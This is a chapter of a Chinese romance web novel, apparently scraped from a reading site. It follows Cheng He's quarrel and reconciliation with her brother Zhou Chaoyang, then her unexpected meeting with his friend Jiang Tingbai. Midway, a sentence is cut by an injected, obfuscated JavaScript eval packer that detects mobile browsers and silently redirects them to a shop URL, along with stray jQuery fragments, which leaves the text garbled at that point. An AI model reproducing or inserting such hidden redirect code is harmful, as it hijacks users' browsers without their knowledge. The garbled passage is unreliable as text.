默认冷灰
24号文字
方正启体

6. Chapter 06

作者:七月回本书字数:K更新时间:
    沈媛的工作室在城南,住的地方也在城南,送她需要额外绕路。


    车子停在小区门口,女人下车,一步三回头,背影婀娜曼妙的消失在黑夜里。


    周朝阳收回视线,招呼后座的人:“上前面来坐。”


    程禾剔着指甲,全当没听见。


    “聋了?”


    程禾半撩起眼皮,似笑非笑:“你那个副驾有名有姓的,我什么身份啊,哪配得上坐。我要想坐,只能哪天去找个姓我名我的。”


    尾音悠悠地飘在半空,像片羽毛,搔得人耳根发痒。


    周朝阳黑眸死死盯着她,深如寒潭,嘴唇张了张,半响没出声,喉结上下滚了好几轮,最终把所有话狠狠咬碎在牙关里,只沉沉挤出几个字来:“爱来不来。”


    就不来。


    程禾憋着一股气儿,成心要跟他较劲。


    周朝阳心里头也不爽,两个人谁也不搭理谁,就这么硬杠着。


    深夜,车速在宽敞大道上飙升,有风灌了进来,冲散了几分盛夏的暑气,一路飞驰到学校门口。


    这个点,空闲车位很多,周朝阳随便找了个路边停下,“咔哒——”,车锁弹开。


    至于程禾下不下车,他也不管,降下整个驾驶座的车窗,点了支烟,懒懒散散靠在椅背上吞云吐雾。


    时间静默了许久,程禾闷闷开口:“我不喜欢她。”


    “嗯。”


    周朝阳慢慢吐出一口烟雾,用鼻音似是而非应了声。


    程禾眉头拧成疙瘩,踹了他椅背一脚,咬着牙,又重复强调了一遍:“我说——我、不、喜、欢、她!”


    周朝阳火气一下子蹿上来,回头瞪她,说话很冲:“用得着你喜欢?我娶媳妇还是你娶?爸都没意见,你哪来这么多意见。”


    程禾愣了愣,眼圈慢慢涨红,几乎是喊出来的:“她是要当我嫂子的人,以后大家同住一个屋檐下,低头不见抬头见的,我还不能有点意见了?”


    她破罐子破摔:“行啊,你既然那么喜欢她就娶啊,明天就娶,结婚以后受夹板气可别赖我。”


    两人你一言我一语的,就这么吵了起来。都在气头上,什么扎心窝子说什么,句句专逮着对方要害上捅,大有就此撕破脸,从今以后老死不相往来的意思。


    周朝阳被她气得发抖,“那我们结婚以后搬出去,不碍着你的眼总行了吧?”


    就这么一句,刚才还挺能叭叭的小嘴,突然安静下来。


    隔了许久,周朝阳用力搓了把脸,叹气:“你到底不喜欢她哪?”


    还是沉默。


    程禾她确实也说不上来什么,因为不管是论家世,还是论样貌,那个姐姐配他都绰绰有余,无可挑剔。


    这样,她还能说什么呢?


    说那个姐姐说的话句句让她难受?


    还是说她早在情窦初开的年纪,就已经喜欢上了他,现在更是压根看不得别的女人跟他扯上关系?


    她抬起眼,与后视镜里他的那双眼睛对上,一副看透了她耍小性子的模样,这让她胸口更堵得慌了。


    偏偏不巧,也就是这个时候,沈媛的电话很不适时宜的打了进来,说是自己口红落在周朝阳的车上了。


    周朝阳探身翻找了下,副驾驶确实有个。


    两人聊了两句却没挂电话,就着口红的事,沈媛顺势开始约着下次见面的地方。


    程禾在后座听了会儿,发现周朝阳自始至终连个眼神都没分过来,注意力全在通话上。


    她自觉没趣,推开门下车,连包都忘了拿,径直往学校里走。


    周朝阳也没拦着,咬着烟头,隔着青薄烟雾盯着她离开的背影,耳边这通电话好像怎么都挂不完了。


    他视线不离,时不时用鼻音含糊“嗯”上声,算作回应。


    夜色深深,树影婆娑的小道上,那道纤细的身形很快缩成个小点。


    周朝阳突然眯了眯眼,“挂了。”


    不等对面说话,他就直接掐断通话,扯开安全带,钥匙一拔,人已推门而出,大步流星朝程禾的方向追过去。


    程禾也听见了身后追来的脚步声,赌气加快步伐,却还是被追上来的男人一把攥住手腕,将她扯了回来。


    “你他妈往哪去?喝了两口马尿把脑子喝糊涂了吧。”他指着程禾马上要进的楼怒吼,“这TM是你的宿舍嘛!”


    程禾眨了眨眼,茫然看着面前没有一丝光亮的陌生建筑,大门没落锁,里面黑漆漆的,像是某种不知名野兽的血盆大口,一眼望不到尽头。


    她整个人还恍恍惚惚的,抬头看向他,很想问问他:


    他是怎么知道她宿舍是哪个楼的,毕竟他走时,她高中还没毕业,他回来以后,也一次都没想着来找她。


    可话音刚出口就抖得不成样子,甚至还染上了哭腔。


    她本不是那么爱哭的人。


    “放开……”


    她挣扎着试图抽出手,周朝阳却更紧抓着不放,大手贴在皓腕内侧,滚烫到灼人。


    他看着她这副样子,瞬间没了火气:“又怎么了?”


    “你甭管我,你的那些糟烂破事不让我掺和,我的事自然也跟你没关系,我怎么了更用不着你来问,以后咱们就桥归桥,路归……”


    程禾这话说得虽狠,却只到一半,眼泪就先不争气地掉了下来。


    周朝阳抬手去擦,她缩着脖子躲,梗着用力,始终同他较着劲儿,不让他碰一下。


    周朝阳手顿在半空,眉心紧拧,僵持了会儿,他烦躁踢开脚边的石子,原地踱步着转了两圈,又猛地站住,撩开衣摆叉腰。


    “程禾你怎么越长大越……”


    话音卡在喉咙里,他定定望着她,看她鼻尖泛红,眼里噙满泪花,眼睫有些承受不住重量,轻颤着眨了下,又是一连串泪珠顺着白软的脸颊滚落。


    周朝阳呼吸一滞,喉咙发紧,他忽然伸手,把她整个人捞进怀里,下巴抵在她发顶,手臂收得很紧。


    “你倒是听点话啊……”他哑着嗓子开口,声音轻得像是叹息。


    程禾抡起拳头,一下下锤在他胸膛上,拼了命挣扎着不让他抱,可他那两条胳膊像铁箍一样,又硬又紧,根本挣不开。


    从他回来以后,两个人已经数不清闹了多少回脾气。


    难道回回闹起来都是因为她不听话?他就一点问题没有吗?再说,她不信,都这么多回了,他还能不知道她为什么这么闹。


    这段时间憋着委屈,她哭得厉害,肩膀一耸一耸地抖着,气都快喘不过来,破碎的呜咽从喉咙里挤出来。


    周朝阳哪能任由她这么个哭法,嘴唇凑到她耳边,低声下气地,一句一句哄着,难得有这样的好性子。


    她哭了多久,他就哄了多久。


    中途也有哄得心烦意乱的时候,憋不住蹦出一两句粗口,骂完见她眼泪还在掉,只得把语气再放软,继续耐着性子哄。


    把那些软乎话翻过来覆过去的,也不知道说了多少遍,最后,他是彻底被她磨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310985|198841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得一点脾气都不敢有了。


    “行行行,哥错了。”周朝阳败下阵来,服软认错:“哥错了行了吧?别哭了,嗯?”


    程禾抽抽搭搭了好一会儿,总算止住了哭声。她红肿着眼眶抬起头,鼻音浓重:“那你错哪了?”


    周朝阳瞬间噎住,嘴唇张了张,半天一个字也蹦不出来。他偏开头,舌尖顶腮,低声骂了句:“我操。”


    真他妈是个祖宗!


    当晚,周朝阳叫了个同城快递,把口红连夜给人家沈小姐邮了回去。


    —


    周朝阳回国也快半个月了,还没和他那帮子兄弟好好的聚一次。自从跟那位沈小姐断了以后,他也空出些时间来。


    聂星野有意攒个局,在群里发语音摇人,没一会儿工夫,手机嗡嗡震动,群聊消息接二连三,顶到了99+。


    “来啊,朝阳哥好不容易回国了,这局我们必须来。”


    一呼百应。


    他们商量着,索性就在聂星野新开的酒吧聚,自家的地方,也不怕闹。


    地方时间全都定好了,也不见正主出来说句话。


    聂星野直接在群里艾特周朝阳,欠登登的:“哎呦,朝阳哥,到底行不行啊?该不会是怕我们几个把你灌趴下,不敢来了吧?”


    周朝阳开完会才看见,懒洋洋哼笑:“就你?待会儿可别哭着喊爹,哥们嫌丢人。”


    他最近新得了瓶高度数的好酒,正愁着没机会,今晚刚好可以全灌进这鳖孙肚里。


    他本想着回去拿,却不巧,临时加了个会,抽不开身。


    又刚好,群里其中一个兄弟就在他公寓附近办事。


    “我顺路。”


    一条语音私发过来,嗓音清冽,不急不缓。


    周朝阳听完没多想,顺势托他就近去拿。


    公寓楼下,那男人站了会儿,拿着手机,在等消息,微垂着眼,眉骨处拢着薄薄一层光。


    拿到周朝阳公寓的密码,电梯直达,房门一打开,他握着门把手,很突然的顿住了。


    迎面地上,有双高跟鞋歪斜横陈,一只朝左,一只向右,鞋柜上还扔着钥匙和包,也是女士的。


    客厅没开灯,只有走廊的光斜斜切进去。


    衣服是从玄关开始脱的,裙子,内衣,最后那点布料,零零散散的,像串无声的省略号,一路延伸到浴室门口。


    男人皱了皱眉,正要往后退——


    浴室门“咔哒”一响,把手缓缓旋动,从里面拧开了。


    水汽热腾腾涌出来,裹着沐浴露的甜香。


    程禾赤脚踩在瓷砖,腮颊粉淡淡的,宽大的男款白T贴在身上,被水雾浸得近乎透明,下摆紧挨着腿根,空荡荡的。


    一头湿发披散着,水珠从发梢滑落,淌过锁骨,又沿着那道浅弧,一路凉丝丝的,没入松垮的衣领深处。


    程禾今天来公寓纯属意外。


    宿舍停水,鬼天气热得实在扛不住,才想起她哥这个公寓好歹有凉水。


    她也没想到这个点会有人来,擦头发的动作僵停了。


    不远处光影里,男人站着,白衬衫,牛仔裤,清瘦挺拔。


    一只手还搭在门把上,袖口挽到手腕,露出一截干净的腕骨。他眉眼生得极淡,目光落在她脸上,不冷,只是莫名的远。


    隔着段距离,他似乎并不打算开口。


    但就算他不说话,程禾也认得他——


    江听白。


    周朝阳最好的兄弟。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)